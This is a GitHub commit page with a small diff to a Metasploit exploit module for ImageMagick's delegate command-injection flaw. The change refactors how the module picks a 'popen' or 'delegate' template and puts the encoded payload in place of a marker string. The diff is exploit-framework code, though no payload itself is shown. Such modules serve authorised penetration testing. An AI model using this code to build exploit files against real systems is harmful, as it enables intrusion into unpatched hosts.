Skip to content

Commit 5b46e72

Browse files
committed
Update module logic
1 parent 9b15899 commit 5b46e72

File tree

1 file changed

+14
-9
lines changed

1 file changed

+14
-9
lines changed

modules/exploits/unix/fileformat/imagemagick_delegate.rb

Lines changed: 14 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -83,19 +83,24 @@ def exploit
8383
p = payload.encoded
8484
end
8585

86+
file_create(template.sub('echo vulnerable > /dev/tty', p))
87+
end
88+
89+
def template
8690
if datastore['HAVE_POPEN']
87-
file_create(template.sub('touch vulnerable', p))
91+
t = 'popen'
8892
else
89-
file_create(template.sub('echo vulnerable', p))
93+
t = 'delegate'
9094
end
91-
end
9295

93-
def template
94-
File.read(File.join(
95-
Msf::Config.data_directory, 'exploits', 'imagemagick',
96-
datastore['HAVE_POPEN'] ? 'popen' : 'delegate',
97-
target[:template]
98-
))
96+
begin
97+
File.read(File.join(
98+
Msf::Config.data_directory, 'exploits', 'imagemagick', t,
99+
target[:template]
100+
))
101+
rescue Errno::ENOENT
102+
fail_with(Failure::BadConfig, "Target has no #{t} support")
103+
end
99104
end
100105

101106
end

0 commit comments

Comments
 (0)